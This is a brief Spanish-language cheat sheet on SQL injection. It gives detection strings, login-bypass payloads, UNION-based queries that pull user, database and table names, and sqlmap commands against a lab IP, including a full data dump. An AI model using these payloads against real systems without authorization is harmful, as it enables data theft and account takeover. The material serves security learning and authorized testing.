Explotación Web

Inyección SQL

Detección y explotación de SQLi — bypass de login, UNION-based, extracción de datos y automatización con sqlmap.

1 min de lectura
Índice

¿Qué es?

Una SQL Injection ocurre cuando la entrada del usuario se concatena directamente en una consulta SQL sin sanitizar, permitiendo alterar su lógica.

Detección

Inyecta caracteres que rompan la sintaxis y observa errores o cambios:

'
"
' OR '1'='1
1' AND SLEEP(5)-- -

Bypass de autenticación

admin' -- -
admin' #
' OR 1=1-- -

UNION-based

Primero averigua el número de columnas:

' ORDER BY 1-- -
' ORDER BY 2-- -   # hasta que falle

Luego extrae datos:

' UNION SELECT 1,2,3-- -
' UNION SELECT user(),database(),version()-- -
' UNION SELECT table_name,2,3 FROM information_schema.tables-- -

Automatización con sqlmap

sqlmap -u "http://10.10.10.10/page.php?id=1" --batch --dbs
sqlmap -u "http://10.10.10.10/page.php?id=1" -D mibd --tables
sqlmap -r request.txt --batch --dump

En auditorías reales, --dump masivo puede ser destructivo o ruidoso. Acota con -T/-C.